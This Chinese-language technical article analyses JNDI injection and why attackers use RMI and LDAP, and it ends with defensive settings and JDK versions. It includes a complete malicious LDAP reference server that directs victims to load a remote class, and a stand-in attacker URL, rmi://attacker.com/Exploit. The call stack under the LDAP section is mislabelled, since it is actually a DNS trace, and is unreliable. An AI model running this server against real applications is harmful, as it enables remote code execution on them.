对于jndi为什么使用rmi和ldap协议的思考
字数 2111 2025-08-22 12:22:24

JNDI注入攻击原理与利用分析:RMI与LDAP协议详解

1. JNDI基础概念

JNDI (Java Naming and Directory Interface) 是Java提供的一套用于访问命名和目录服务的API,支持多种协议:

  • LDAP (Lightweight Directory Access Protocol): 用于访问和管理分布式目录信息服务
  • RMI (Remote Method Invocation): 用于在不同Java虚拟机之间调用方法
  • DNS (Domain Name System): 用于解析域名
  • CORBA (Common Object Request Broker Architecture): 用于在网络上进行对象请求
  • HTTP (HyperText Transfer Protocol): 通过HTTP协议进行访问
  • File Protocol: 访问文件系统
  • NIS (Network Information Service): 用于访问网络信息服务(通常用于UNIX环境)

2. JNDI注入攻击原理

JNDI注入漏洞的核心在于攻击者可以控制JNDI查找的URL,从而让应用加载并执行恶意代码。

2.1 攻击流程

  1. 攻击者构造恶意的JNDI URL(如rmi://attacker.com/Exploit
  2. 应用通过InitialContext.lookup()方法访问该URL
  3. JNDI客户端从攻击者控制的服务器加载恶意对象
  4. 恶意对象被反序列化并执行攻击代码

3. RMI协议分析

3.1 RMI攻击示例代码

package xieyi;

import javax.naming.Context;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.naming.spi.NamingManager;
import java.util.Hashtable;

public class rmi {
    public static void main(String[] args) throws Exception {
        String url = "rmi://localhost:6666/Object";
        Hashtable<?,?> env = new Hashtable<>();
        Reference ref = new Reference("com.example.xxx", 
            new StringRefAddr("URL", url));
        Object obj = NamingManager.getObjectInstance(ref, null, null, env);
    }
}

3.2 RMI协议调用链分析

  1. 初始调用栈:

    getURLObject:611, NamingManager (javax.naming.spi)
    processURL:391, NamingManager (javax.naming.spi)
    processURLAddrs:371, NamingManager (javax.naming.spi)
    getObjectInstance:343, NamingManager (javax.naming.spi)
    main:17, rmi (xieyi)
    
  2. 关键方法解析:

    • getURLObject方法会根据传入的URL寻找对应的工厂类
    • 工厂类名称构造方式:"." + scheme + "." + scheme + "URLContextFactory"
    • 对于RMI协议,会寻找rmi.rmiURLContextFactory
  3. 对象实例化过程:

    • 进入RegistryContext.lookup()方法
    • 核心触发点在decodeObject()方法
    • 最终调用NamingManager.getObjectInstance()加载远程对象
  4. 远程代码加载逻辑:

    String codebase;
    if (clas == null && (codebase = ref.getFactoryClassLocation()) != null) {
        try {
            clas = helper.loadClass(factoryName, codebase); // 远程加载恶意类
            if (clas == null || !ObjectFactoriesFilter.canInstantiateObjectsFactory(clas)) {
                return null;
            }
        } catch (ClassNotFoundException e) {}
    }
    

3.3 RMI攻击限制

  • 高版本JDK中默认设置com.sun.jndi.rmi.object.trustURLCodebase=false
  • 若远程代码库不可信,会抛出异常:
    throw new ConfigurationException(
        "The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
    

4. LDAP协议分析

4.1 LDAP攻击示例代码

客户端代码:

package JNDI_LDAP;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LDAP_Client {
    public static void main(String[] args) throws NamingException {
        String jndi_uri = "ldap://127.0.0.1:9999/Exp";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(jndi_uri);
    }
}

服务端代码:

package JNDI_LDAP;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LDAP_Server {
    private static final String LDAP_BASE = "dc=example,dc=com";
    
    public static void main(String[] argsx) {
        String[] args = new String[]{"http://127.0.0.1:8000/#Exp", "9999"};
        int port = 0;
        if (args.length < 1 || args[0].indexOf('#') < 0) {
            System.err.println(LDAP_Server.class.getSimpleName() + " <codebase_url#classname> [<port>]");
            System.exit(-1);
        } else if (args.length > 1) {
            port = Integer.parseInt(args[1]);
        }
        
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                "listen", InetAddress.getByName("0.0.0.0"), port,
                ServerSocketFactory.getDefault(), SocketFactory.getDefault(),
                (SSLSocketFactory)SSLSocketFactory.getDefault()));
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    
    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        private URL codebase;
        
        public OperationInterceptor(URL cb) {
            this.codebase = cb;
        }
        
        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            } catch (Exception e1) {
                e1.printStackTrace();
            }
        }
        
        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) 
            throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if (refPos > 0) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

4.2 LDAP协议调用链分析

  1. 初始调用栈:

    lookup:170, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
    lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
    getUsingURL:70, dnsURLContextFactory (com.sun.jndi.url.dns)
    getObjectInstance:55, dnsURLContextFactory (com.sun.jndi.url.dns)
    getURLObject:611, NamingManager (javax.naming.spi)
    processURL:391, NamingManager (javax.naming.spi)
    processURLAddrs:371, NamingManager (javax.naming.spi)
    getObjectInstance:343, NamingManager (javax.naming.spi)
    main:19, dns (xieyi)
    
  2. 关键方法解析:

    • 通过getURLOrDefaultInitCtx获取URL上下文
    • 调用ldapURLContext.lookup方法
    • 最终调用DirectoryManager.getObjectInstance加载对象
  3. LDAP响应构造:

    • 服务端构造包含恶意类引用的LDAP响应
    • 关键属性设置:
      e.addAttribute("javaClassName", "foo");
      e.addAttribute("javaCodeBase", cbstring); // 恶意代码库地址
      e.addAttribute("objectClass", "javaNamingReference");
      e.addAttribute("javaFactory", this.codebase.getRef()); // 恶意类名
      

5. 为什么选择RMI和LDAP协议

5.1 RMI和LDAP的优势

  1. 代码加载机制

    • RMI和LDAP协议支持通过javaCodeBase属性指定远程代码库
    • 能够触发远程类加载,这是攻击的核心
  2. 协议特性

    • RMI专为Java远程调用设计,天然支持Java对象传输
    • LDAP支持引用(Reference)机制,可以指向外部资源
  3. 绕过限制

    • 在JDK高版本中,虽然RMI默认不信任远程代码库,但LDAP在某些版本中仍有利用可能
    • 可以通过本地存在的恶意工厂类进行绕过

5.2 其他协议的限制

  • DNS协议

    • 仅能进行DNS解析,无法加载远程代码
    • 调用链最终进入PartialCompositeContext.lookup,没有恶意利用点
  • HTTP/FTP协议

    • 主要用于资源访问,不直接支持对象引用
    • 无法直接触发远程代码加载

6. 防御措施

  1. 代码层面

    • 避免使用外部可控的JNDI查询参数
    • 对JNDI查询参数进行严格过滤
  2. 环境配置

    • 设置com.sun.jndi.rmi.object.trustURLCodebase=false
    • 设置com.sun.jndi.ldap.object.trustURLCodebase=false
  3. JDK版本

    • 使用JDK 6u141、7u131、8u121及以上版本
    • 这些版本默认限制了远程代码加载
  4. 运行时保护

    • 使用SecurityManager限制代码加载权限
    • 监控异常的JNDI查询行为

7. 总结

JNDI注入攻击主要通过RMI和LDAP协议实现,原因在于:

  1. 这两种协议支持通过Reference引用远程代码
  2. 提供了完整的对象加载和执行机制
  3. 在特定环境下可以绕过安全限制
  4. 其他协议要么不支持代码加载,要么调用链中缺少利用点

理解JNDI注入的原理和不同协议的实现差异,有助于更好地防御此类攻击。在实际开发中,应当避免使用外部可控的JNDI查询,并及时更新JDK版本以获取最新的安全防护。

JNDI注入攻击原理与利用分析:RMI与LDAP协议详解 1. JNDI基础概念 JNDI (Java Naming and Directory Interface) 是Java提供的一套用于访问命名和目录服务的API,支持多种协议: LDAP (Lightweight Directory Access Protocol): 用于访问和管理分布式目录信息服务 RMI (Remote Method Invocation): 用于在不同Java虚拟机之间调用方法 DNS (Domain Name System): 用于解析域名 CORBA (Common Object Request Broker Architecture): 用于在网络上进行对象请求 HTTP (HyperText Transfer Protocol): 通过HTTP协议进行访问 File Protocol : 访问文件系统 NIS (Network Information Service): 用于访问网络信息服务(通常用于UNIX环境) 2. JNDI注入攻击原理 JNDI注入漏洞的核心在于攻击者可以控制JNDI查找的URL,从而让应用加载并执行恶意代码。 2.1 攻击流程 攻击者构造恶意的JNDI URL(如 rmi://attacker.com/Exploit ) 应用通过 InitialContext.lookup() 方法访问该URL JNDI客户端从攻击者控制的服务器加载恶意对象 恶意对象被反序列化并执行攻击代码 3. RMI协议分析 3.1 RMI攻击示例代码 3.2 RMI协议调用链分析 初始调用栈 : 关键方法解析 : getURLObject 方法会根据传入的URL寻找对应的工厂类 工厂类名称构造方式: "." + scheme + "." + scheme + "URLContextFactory" 对于RMI协议,会寻找 rmi.rmiURLContextFactory 对象实例化过程 : 进入 RegistryContext.lookup() 方法 核心触发点在 decodeObject() 方法 最终调用 NamingManager.getObjectInstance() 加载远程对象 远程代码加载逻辑 : 3.3 RMI攻击限制 高版本JDK中默认设置 com.sun.jndi.rmi.object.trustURLCodebase=false 若远程代码库不可信,会抛出异常: 4. LDAP协议分析 4.1 LDAP攻击示例代码 客户端代码 : 服务端代码 : 4.2 LDAP协议调用链分析 初始调用栈 : 关键方法解析 : 通过 getURLOrDefaultInitCtx 获取URL上下文 调用 ldapURLContext.lookup 方法 最终调用 DirectoryManager.getObjectInstance 加载对象 LDAP响应构造 : 服务端构造包含恶意类引用的LDAP响应 关键属性设置: 5. 为什么选择RMI和LDAP协议 5.1 RMI和LDAP的优势 代码加载机制 : RMI和LDAP协议支持通过 javaCodeBase 属性指定远程代码库 能够触发远程类加载,这是攻击的核心 协议特性 : RMI专为Java远程调用设计,天然支持Java对象传输 LDAP支持引用(Reference)机制,可以指向外部资源 绕过限制 : 在JDK高版本中,虽然RMI默认不信任远程代码库,但LDAP在某些版本中仍有利用可能 可以通过本地存在的恶意工厂类进行绕过 5.2 其他协议的限制 DNS协议 : 仅能进行DNS解析,无法加载远程代码 调用链最终进入 PartialCompositeContext.lookup ,没有恶意利用点 HTTP/FTP协议 : 主要用于资源访问,不直接支持对象引用 无法直接触发远程代码加载 6. 防御措施 代码层面 : 避免使用外部可控的JNDI查询参数 对JNDI查询参数进行严格过滤 环境配置 : 设置 com.sun.jndi.rmi.object.trustURLCodebase=false 设置 com.sun.jndi.ldap.object.trustURLCodebase=false JDK版本 : 使用JDK 6u141、7u131、8u121及以上版本 这些版本默认限制了远程代码加载 运行时保护 : 使用SecurityManager限制代码加载权限 监控异常的JNDI查询行为 7. 总结 JNDI注入攻击主要通过RMI和LDAP协议实现,原因在于: 这两种协议支持通过Reference引用远程代码 提供了完整的对象加载和执行机制 在特定环境下可以绕过安全限制 其他协议要么不支持代码加载,要么调用链中缺少利用点 理解JNDI注入的原理和不同协议的实现差异,有助于更好地防御此类攻击。在实际开发中,应当避免使用外部可控的JNDI查询,并及时更新JDK版本以获取最新的安全防护。